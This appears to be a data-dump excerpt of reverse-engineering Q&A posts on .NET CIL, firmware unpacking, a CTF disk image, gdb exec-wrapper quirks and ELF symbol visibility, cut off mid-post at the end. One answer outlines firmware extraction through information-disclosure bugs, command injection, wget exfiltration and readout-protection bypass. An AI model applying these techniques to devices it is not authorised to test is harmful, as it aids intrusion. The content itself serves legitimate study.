  <row Id="19493" PostTypeId="2" ParentId="19489" CreationDate="2018-09-30T21:17:07.987" Score="1" Body="&lt;p&gt;The opcode contains a number that is called &lt;code&gt;mdToken&lt;/code&gt;. User-defined strings are located in Storage Stream that is called &lt;code&gt;#US&lt;/code&gt;. You can find those while inspecting the file sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wdNQx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wdNQx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a great series of article on .NET assembly by Simon Coop - &lt;a href=&quot;https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anatomy of a .NET Assembly&lt;/a&gt; that should explain more of the internals of .NET assemblies.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-09-30T21:17:07.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19494" PostTypeId="2" ParentId="19489" CreationDate="2018-09-30T23:39:01.587" Score="1" Body="&lt;p&gt;I'd like to add a couple of comments on top of Pawel's great an concise answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, IDA doesn't easily enable editing executables, so you should find another, more appropriate tool, for that task. In the case of replacing constant strings any decent hex editor will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, please let me go over the different instructions, one by one:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ldstr &quot;Test&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ldstr&lt;/code&gt; instruction loads the string object in the first argument to the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;stloc.0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;stloc&lt;/code&gt; instruction pops a single item from the stack and stores it in a register, according to it's index. In this case, register index 0.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ldloc.0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Similarly, &lt;code&gt;ldloc&lt;/code&gt; stores a value from a register according to supplied index at the top of the stack. In this case, again, register indexed 0 is used.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ret&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This instruction returns to the current function's caller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a stack based instruction-set (opposed to a register-based instruction set, for which examples are x86, arm, powerpc, etc...) the stack is frequently used of passing data around in instances where a register-based instruction set will enable register use. This is not to say you &lt;em&gt;cannot&lt;/em&gt; use registers or stack for most functionalities in one or the other, but just that the instruction set makes it more native and natural to use either the stack of the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last paragraph is important for us to understand the nature of the provided function, which simply &lt;em&gt;returns&lt;/em&gt; the provided string. As a stack-based instruction set, CIL's calling convention dictates that variables are returned on the stack (and not a designated register). Interestingly, this therefore implies the &lt;code&gt;stloc.0&lt;/code&gt; and &lt;code&gt;ldloc.0&lt;/code&gt; can simply be optimized out.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-09-30T23:39:01.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19495" PostTypeId="1" AcceptedAnswerId="19530" CreationDate="2018-10-01T09:58:36.863" Score="2" ViewCount="1221" Body="&lt;p&gt;This is not my expertise so forgive stupidity.&#xA;I have the following &lt;a href=&quot;https://www.dropbox.com/s/0jv59rc45c72m98/Zyxel-PMG5318-B20C-V1.00%28ABGS.3%29C0.fskernel?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to extract the file sytem with binwalk, which results in a few extracted files and directories. Specifically I have a directory called jffs2-root/fs_1. When looking at the folder I see three files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version - Plain Text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version.list - Plain Text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final file is vmlinux.lz. This appears tio be where the file system should be, however I cannot se how I can read this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the file with the file command and the output I get is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vmlinux.lz: 8086 relocatable (Microsoft)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that this means it is virtual memory, but I am unsure as to how to proceed. I have tried the vmlinux read on git by Linus, but this fails. Can anyone give me any pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a hex dump of the file vmlinux.lz&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zIZG5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zIZG5.png&quot; alt=&quot;Hexdump&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21091" LastEditorUserId="21091" LastEditDate="2018-10-03T14:46:43.993" LastActivityDate="2018-10-03T21:56:43.103" Title="RE Zyxel PMG5318-B20C JFFS2 vmlinux.lz" Tags="|firmware|virtual-memory|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19496" PostTypeId="1" CreationDate="2018-10-01T11:55:43.573" Score="1" ViewCount="4738" Body="&lt;p&gt;Okay so I am doing picoCTF and I am very new to ctf. Now in one of the questions I am given a &lt;code&gt;.dd&lt;/code&gt; file and the hint says &lt;code&gt;Some files have been deleted from the disk image, but are they really gone?&lt;/code&gt;&#xA;I have no clue what to do with it. Any help on how to proceed. I mean what should I start with? what could be the way I can find a flag? how to open this &lt;code&gt;.dd&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="25846" LastEditorUserId="2147" LastEditDate="2018-10-01T19:13:03.773" LastActivityDate="2018-10-02T01:12:50.843" Title="What to do with .dd files?" Tags="|binary-analysis|binary-diagnosis|" AnswerCount="3" CommentCount="1" ClosedDate="2018-10-05T23:51:44.667" ContentLicense="CC BY-SA 4.0" />
  <row Id="19497" PostTypeId="1" CreationDate="2018-10-01T12:54:45.210" Score="2" ViewCount="1385" Body="&lt;p&gt;Why gdb doesn't break when I use exec-wrapper script to exec my target binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my little test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a binary with no pie option to use predictable address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -no-pie main.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this litle gdb exec wrapper script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat wrapper.sh &#xA;#!/bin/bash&#xA;&#xA;env -i ./a.out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I debug my program like this, by setting the exec-wrapper variable and a debug breakpoint at *main, the breakpoint doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q ./a.out &#xA;Reading symbols from ./a.out...(no debugging symbols found)...done.&#xA;(gdb) b *main&#xA;Breakpoint 1 at 0x401126&#xA;(gdb) set exec-wrapper ./wrapper.sh&#xA;(gdb) r&#xA;Starting program: /home/snake/gdb-test/a.out &#xA;boum !&#xA;During startup program exited normally.&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the same example without exec-wrapper variable set and a debug breakpoint at *main, the breakpoint works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q ./a.out &#xA;Reading symbols from ./a.out...(no debugging symbols found)...done.&#xA;(gdb) b *main&#xA;Breakpoint 1 at 0x401126&#xA;(gdb) r&#xA;Starting program: /home/snake/gdb-test/a.out &#xA;&#xA;Breakpoint 1, 0x0000000000401126 in main ()&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why in the first case the breakpoint not work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe gdb is not attached to the process run by my exec wrapper script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank's for your help.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thank's @ws, your reminder and point of view is interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;env -i&lt;/code&gt; in order to start the program in an empty environment in order to have a predictable stack in a non randomized address space, in/out of gdb and in any path. But GDB lack of options to configure the binary name with a relative path to pass to argv[0] and other variables pushed on the stack will cause a stack offset according the directory location the execution context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have build this little wrapper to overcome the problem. Maybe dirty, but work well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;  int e;&#xA;  char *envp[] = { NULL };&#xA;  char *argv[] = { &quot;./a.out&quot;, NULL };&#xA;&#xA;  e = execve(&quot;./a.out&quot;, argv, envp);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc exec_wrapper.c -o exec_wrapper&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finaly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q ./a.out &#xA;Reading symbols from ./a.out...(no debugging symbols found)...done.&#xA;(gdb) set exec-wrapper ./exec_wrapper&#xA;(gdb) b *main&#xA;Breakpoint 1 at 0x1149&#xA;(gdb) r&#xA;Starting program: /home/snake/gdb-test/a.out &#xA;&#xA;Breakpoint 1, 0x0000555555555149 in main ()&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I don't understand your answer very well @ws, my executable name is directly encoded in the binary, and it works well. If I understand the behavior of gdb, normally GDB monitors for the first process trap execve() start by the shell to follow it. In the case of exec-wrapper is configure, it follow the second execve(). (thank's to a friend for show me this behavior).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gdb/nat/fork-inferior.h&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Number of traps that happen between exec'ing the shell to run an&#xA;   inferior and when we finally get to the inferior code, not counting&#xA;   the exec for the shell.  This is 1 on all supported&#xA;   implementations.  */&#xA;#define START_INFERIOR_TRAPS_EXPECTED 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gdb/nat/fork-inferior.c&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  /* The process was started by the fork that created it, but it will&#xA;     have stopped one instruction after execing the shell.  Here we&#xA;     must get it up to actual execution of the real program.  */&#xA;  if (get_exec_wrapper () != NULL)&#xA;       pending_execs++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe I doesn't understand your answer @ws. sorry. you meant to say that gdb performs string comparison of the binary name with full path with the argv[0] of the execve() call?  &lt;/p&gt;&#xA;" OwnerDisplayName="user23611" LastEditorDisplayName="user23611" LastEditDate="2018-10-03T09:41:24.033" LastActivityDate="2018-10-03T09:41:24.033" Title="gdb don't break when I use exec-wrapper script to exec my target binary" Tags="|gdb|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19498" PostTypeId="2" ParentId="19496" CreationDate="2018-10-01T14:25:12.800" Score="4" Body="&lt;p&gt;From my experience, file extensions are rarely meaningful.&#xA;To really understand what format you are playing with, I suggest you to try the linux &lt;code&gt;file&lt;/code&gt; command on this file. It will (maybe) give you more insight on what you are working with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never did picoCTF but I bet the &lt;code&gt;.dd&lt;/code&gt; refers to a &lt;a href=&quot;https://www.forensicswiki.org/wiki/Raw_Image_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;raw disk image&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have only a few experience in Forensics (yes I think it's more Forensics than Reverse Engineering per say), but I think you could try &lt;a href=&quot;https://www.cgsecurity.org/wiki/TestDisk&quot; rel=&quot;nofollow noreferrer&quot;&gt;testdisk&lt;/a&gt; and/or PhotoRec (A tool that is shipped with testdisk). This software allows you to browse hard drive partitions and play a bit with it.&#xA;Note that because it is a raw disk image, and if the partitions are not encrypted, using common/simple tools such as &lt;code&gt;strings&lt;/code&gt; might reveal some interesting information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="20447" LastEditorUserId="2147" LastEditDate="2018-10-02T01:09:09.637" LastActivityDate="2018-10-02T01:09:09.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19499" PostTypeId="2" ParentId="19496" CreationDate="2018-10-01T14:48:12.190" Score="0" Body="&lt;p&gt;These are drive image files. You load them into a tool for forensic analysis like FTK Imager or EnCase in order to analyze the file system structure and recover some clues. If it's just the deleted file recovery that you need, use Testdisk / PhotoRec as said above.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-10-01T14:48:12.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19505" PostTypeId="2" ParentId="19457" CreationDate="2018-10-01T22:42:34.627" Score="4" Body="&lt;p&gt;&lt;em&gt;As this question is quite general, it'll be difficult to provide a very technical answer.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You've asked quite a few questions here, so please let me start with a general overview and then proceed to answer all of your specific questions.&lt;/p&gt;&#xA;&lt;h2&gt;General overview&lt;/h2&gt;&#xA;&lt;p&gt;The difficulty of pulling firmware images from an embedded device really depends on the firmware device itself, and the access you have to that firmware device.&lt;/p&gt;&#xA;&lt;p&gt;I would say there are a few different alternatives depending on your actual goal (just getting as many firmwares as possible verses getting firmwares for specific devices you're in possession of or interested in, for example). I'll list the general options in ascending difficulty:&lt;/p&gt;&#xA;&lt;h3&gt;Getting a firmware image/update online&lt;/h3&gt;&#xA;&lt;p&gt;Since a lot of devices support some kind of firmware update mechanisms, firmware images are often made available by the manufacturer either via a manual web page download for manual update or via a web service that will serve over-the-air updates. Although those updates may sometimes be encrypted, in most cases they are just signed - because the actual threat landscape is &lt;em&gt;modifying&lt;/em&gt; a firmware and not &lt;em&gt;reading&lt;/em&gt; it.&lt;/p&gt;&#xA;&lt;p&gt;As the format of a firmware update may be more complex to understand than a raw &lt;code&gt;dd&lt;/code&gt; dump, for example, you'll need to spend extra efforts in understanding the format, extracting the firmware asset(s) from the firmware update file and optionally implementing some firmware-loading logic to get the in-memory image / addressing available. Tools like &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt; are a decent starting point.&lt;/p&gt;&#xA;&lt;p&gt;If firmware is only available over-the-air, you'll also need to spend time understanding the over-the-air protocol and any server side limitations on serving assets. A server may refuse offering an old version you're particularly interested in or require some kind of a per-device identification/authentication.&lt;/p&gt;&#xA;&lt;h3&gt;Using an application info-leak vulnerability&lt;/h3&gt;&#xA;&lt;p&gt;The simplest example that comes to mind is &lt;a href=&quot;https://www.netsparker.com/blog/web-security/information-disclosure-issues-attacks/&quot; rel=&quot;nofollow noreferrer&quot;&gt;information disclosure vulnerabilities in web applications&lt;/a&gt; that often exist on many embedded devices, however there may be other relevant targets. Unlike &lt;em&gt;native&lt;/em&gt; information disclosure vulnerabilities where often pointers, addresses and memory data may be leaked, web information disclosure vulnerabilities often expose files and stored data. This may either allow you to pull other relevant information (for example, probing for hardware devices/interfaces) or even access to the firmware if it is either stored on the same storage or mounted (all the time or when an update runs).&lt;/p&gt;&#xA;&lt;h3&gt;Reading a firmware by software when shell access is available&lt;/h3&gt;&#xA;&lt;p&gt;Shell or root access may be available to you without looking at the firmware because of a known vulnerability or one that is easy enough to discover without actually reading any code. A device may also offer some kind of terminal access for debugging purposes. Instead of a full-blown terminal, one can have the ability to just execute a single shell command using command injections, for example.&lt;/p&gt;&#xA;&lt;p&gt;Once you have access, this is mostly a matter of probing for any available assets and recovering whatever you can.&lt;/p&gt;&#xA;&lt;h3&gt;Reading a firmware by hardware when physical access if available&lt;/h3&gt;&#xA;&lt;p&gt;As this can often be the most challenging way of extracting firmware images, you may occasionally be lucky to the point that this approach can be as easy as pulling a SD card and plugging it into a computer. This isn't often the case, though. Since this specific topic is quite huge and you seem to be looking for an overview, I will not dive deep into the specifics.&lt;/p&gt;&#xA;&lt;p&gt;When physical access to a device is available and any debug ports, uarts, or serial ports are available, you may often find them very useful for extracting details about the firmware. Some of those features may also be available through an ethernet port. These debugging interfaces often provide raw access to different components, such as the storage or controlling the boot sequence.&lt;/p&gt;&#xA;&lt;p&gt;Although sometimes identifying such a port can be easy thanks to exposed unconnected pinheads and existing pin label printouts depicted below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hkWEK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hkWEKs.png&quot; alt=&quot;pinheads&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/2CT1Q.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CT1Qs.jpg&quot; alt=&quot;pin labels&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Unmounted pinheads on the left, pin labels on the right. Click to enlarge&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The different debug ports could also be harder to recognize when no labels are printed and there are no pinheads connected. A walk-through example for identifying both exposed and hidden debug ports is available &lt;a href=&quot;http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When debug ports are insufficient, the next step further is directly reading the firmware from the storage chip. This often includes either taking it out of the board and using your own electronic circuit to read memory out of the chip or hooking to the chip while it's still connected to the original board but either passively listening to data as it's read by the device or issuing your own read instructions. You'll first need to identify the circle components and their purpose, and manufacturer datasheets. This will obviously also require dedicated hardware. Generic boards exist for that purpose (some specifically for firmware extraction and hardware reverse engineering like &lt;a href=&quot;http://goodfet.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GoodFET&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Bus_Pirate&quot; rel=&quot;nofollow noreferrer&quot;&gt;BusPirate&lt;/a&gt;) and you can also get some development equipment from chip manufacturers that use proprietary &lt;a href=&quot;https://en.wikipedia.org/wiki/In-system_programming&quot; rel=&quot;nofollow noreferrer&quot;&gt;In Circuit Serial Programming&lt;/a&gt;, if they'll be willing to sell those to you.&lt;/p&gt;&#xA;&lt;p&gt;You can go even as far as reading the data directly from the chip using electrical and optical analysis of the chips' die layers, but that seems unlikely for your case.&lt;/p&gt;&#xA;&lt;h2&gt;Answering your specific questions&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is it in general possible to gather firmware images from legacy embedded devices?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As mentioned earlier, this greatly depends on the specific device and how protected it may be. It tends to be doable for most cheap devices but as a device becomes more expensive you can assume it'll be more complex and indirectly incur more difficulties.&lt;/p&gt;&#xA;&lt;p&gt;It is also important to note that excluding the really expensive and/or often targeted devices (smartphones is a good example of those), most difficulties will not come from a manufacturer actively trying to make firmware extraction harder, but will more often come from design decisions and product choices and just happen to impact the difficulty of extracting a firmware image.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am aware that many embedded devices disable the debug port&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Although this can sometimes be the case for either increased security or to reduce costs, removing a debug port completely makes repairs and QA more difficulties. Often, although the debug port may to be included a convenient pinout may be laid out for easy access, either heads for easy access or without as seen in the following picture:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OZkrr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZkrrm.jpg&quot; alt=&quot;output pins without a head soldiered on them&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Picture taken from &lt;a href=&quot;http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; step by step hardware reverse engineering tutorial&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;embedded system have the so-called &amp;quot;Code Readout Protection&amp;quot; mechanism to prevent users from downloading the firmware&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The cheaper devices will generally not bother with code readout protection, and there are some ways to bypass it although those tend to be relatively difficult and specific. One such method is to remove the storage chip and interact with it directly to extract the firmware image, as I previously mentioned in &lt;em&gt;Reading a firmware by hardware when physical access if available&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Firmware could be extracted from embedded devices by abusing busybox, for instance its &lt;code&gt;wget&lt;/code&gt; command. Something like: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13402/limited-busybox-shell&quot;&gt;Limited BusyBox shell&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This approach is an example of what I've discussed under &lt;em&gt;Reading a firmware by software when shell access is available&lt;/em&gt; above. In the example you linked, &lt;code&gt;wget&lt;/code&gt; is used to exfiltrate the data after you get it, but there's no limit to the creativity of that (one can even go as far as use available LEDs to encode binary data).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;The &amp;quot;code readout protection&amp;quot; could be bypassed, so as the &amp;quot;debug port&amp;quot; issue&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, through slightly more advanced hardware reverse engineering tools and abilities it is possible to extract software from chips that have readout protection, use a device port although it isn't mounted, avoid the need of a debug port, using the chip's datasheet to recognize how to properly read the data out, &lt;em&gt;snarfing&lt;/em&gt; it while it's being read by the existing circuit, etc...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;is it generally considered easy or not to extract legacy firmwares from embedded devices? What is the common procedure and best practice?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As shown by this post, and repeated several times, this can be relatively easy or relatively difficult, depending on specific case. Common procedures also vary heavily.&lt;/p&gt;&#xA;&lt;h2&gt;Further reading&lt;/h2&gt;&#xA;&lt;p&gt;The topic of hardware reverse engineering is big an wide, and it is hard to cover it all in an SO post. You should spend more time reading, watching talks and following walkthroughs to gain more knowledge on the subject. Here are a few resources:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A survey of &lt;a href=&quot;https://www.iacr.org/archive/ches2009/57470361/57470361.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The State-of-the-Art in IC Reverse Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=YCbpppOSBGE&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keep your tentacles off my bus&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/results?search_query=Dmitry%20Nedospasov&quot; rel=&quot;nofollow noreferrer&quot;&gt;other talks&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/nedos?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dmitry Nedospasov&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;This hardcore example of &lt;a href=&quot;http://travisgoodspeed.blogspot.com/2011/03/practical-mc13224-firmware-extraction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware extraction by decapping&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/travisgoodspeed&quot; rel=&quot;nofollow noreferrer&quot;&gt;Travis Goodspeed&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; introductory level, five part hardware/firmware reverse engineering walkthrough.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;https://www.youtube.com/watch?v=GX8-K4TssjY&quot; rel=&quot;nofollow noreferrer&quot;&gt;presentation&lt;/a&gt; about practical extraction using a Null dereference bug.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;and many other resources available online.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-10-01T22:52:47.313" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19506" PostTypeId="2" ParentId="19496" CreationDate="2018-10-02T01:12:50.843" Score="0" Body="&lt;p&gt;It's hard to answer such a question without taking a look at the file itself, especially for extensions that don't have a clear and common use case; However, I would guess the extension is in reference to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Dd_(Unix)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dd&lt;/code&gt;&lt;/a&gt; unix command line utility that is used to read and write raw data from different sources and to different destinations. It's often how you'd take a dump of a block or a character device and save it as a file, for example.  &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-02T01:12:50.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19507" PostTypeId="1" AcceptedAnswerId="19520" CreationDate="2018-10-02T03:24:29.717" Score="3" ViewCount="1150" Body="&lt;p&gt;I created a quick &lt;a href=&quot;https://github.com/EvanCarroll/nasm_linux_asm/blob/master/nasm_elf/symbol/visibility.asm&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86_64 Assembly file with NASM&lt;/a&gt; to generate the &lt;a href=&quot;https://unix.stackexchange.com/q/472660/3285&quot;&gt;four different visibility classes for ELF 64&lt;/a&gt;. With &lt;code&gt;readelf --symbols&lt;/code&gt; I get the &lt;a href=&quot;https://gcc.gnu.org/wiki/Visibility&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symbol Visibility&lt;/a&gt; in the &lt;code&gt;Vis&lt;/code&gt; column: &lt;code&gt;DEFAULT&lt;/code&gt;, &lt;code&gt;INTERNAL&lt;/code&gt;, &lt;code&gt;HIDDEN&lt;/code&gt;, &lt;code&gt;PROTECTED&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.symtab' contains 16 entries:&#xA;   Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA;     4: 000000000040007e     0 OBJECT  GLOBAL PROTECTED    1 gdp&#xA;     5: 0000000000400082     0 FUNC    GLOBAL HIDDEN     2 gfh&#xA;     6: 000000000040007a     0 OBJECT  GLOBAL INTERNAL    1 gdi&#xA;     8: 000000000040007c     0 OBJECT  GLOBAL HIDDEN     1 gdh&#xA;     9: 0000000000400083     0 FUNC    GLOBAL PROTECTED    2 gfp&#xA;    11: 0000000000400078     0 OBJECT  GLOBAL DEFAULT    1 gdd&#xA;    14: 0000000000400081     0 FUNC    GLOBAL INTERNAL    2 gfi&#xA;    15: 0000000000400080     0 FUNC    GLOBAL DEFAULT    2 gfd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These symbols are encoded such that&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First character: &lt;code&gt;g&lt;/code&gt; means they're &lt;code&gt;GLOBAL&lt;/code&gt; (&lt;a href=&quot;https://www.nasm.us/doc/nasmdoc7.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;NASM&lt;/a&gt;) -- they all are.&lt;/li&gt;&#xA;&lt;li&gt;Middle character: &lt;code&gt;f&lt;/code&gt; means they're &quot;Function&quot;, &lt;code&gt;d&lt;/code&gt; means they're Data&lt;/li&gt;&#xA;&lt;li&gt;Last character: &lt;code&gt;d&lt;/code&gt;efault, &lt;code&gt;i&lt;/code&gt;nternal, &lt;code&gt;h&lt;/code&gt;idden, &lt;code&gt;p&lt;/code&gt;rotected.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However with radare I can't figure out how to see the visibility that &lt;code&gt;readelf --symbols&lt;/code&gt; shows is available. Using &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15646/22669&quot;&gt;&lt;code&gt;fs symbols; 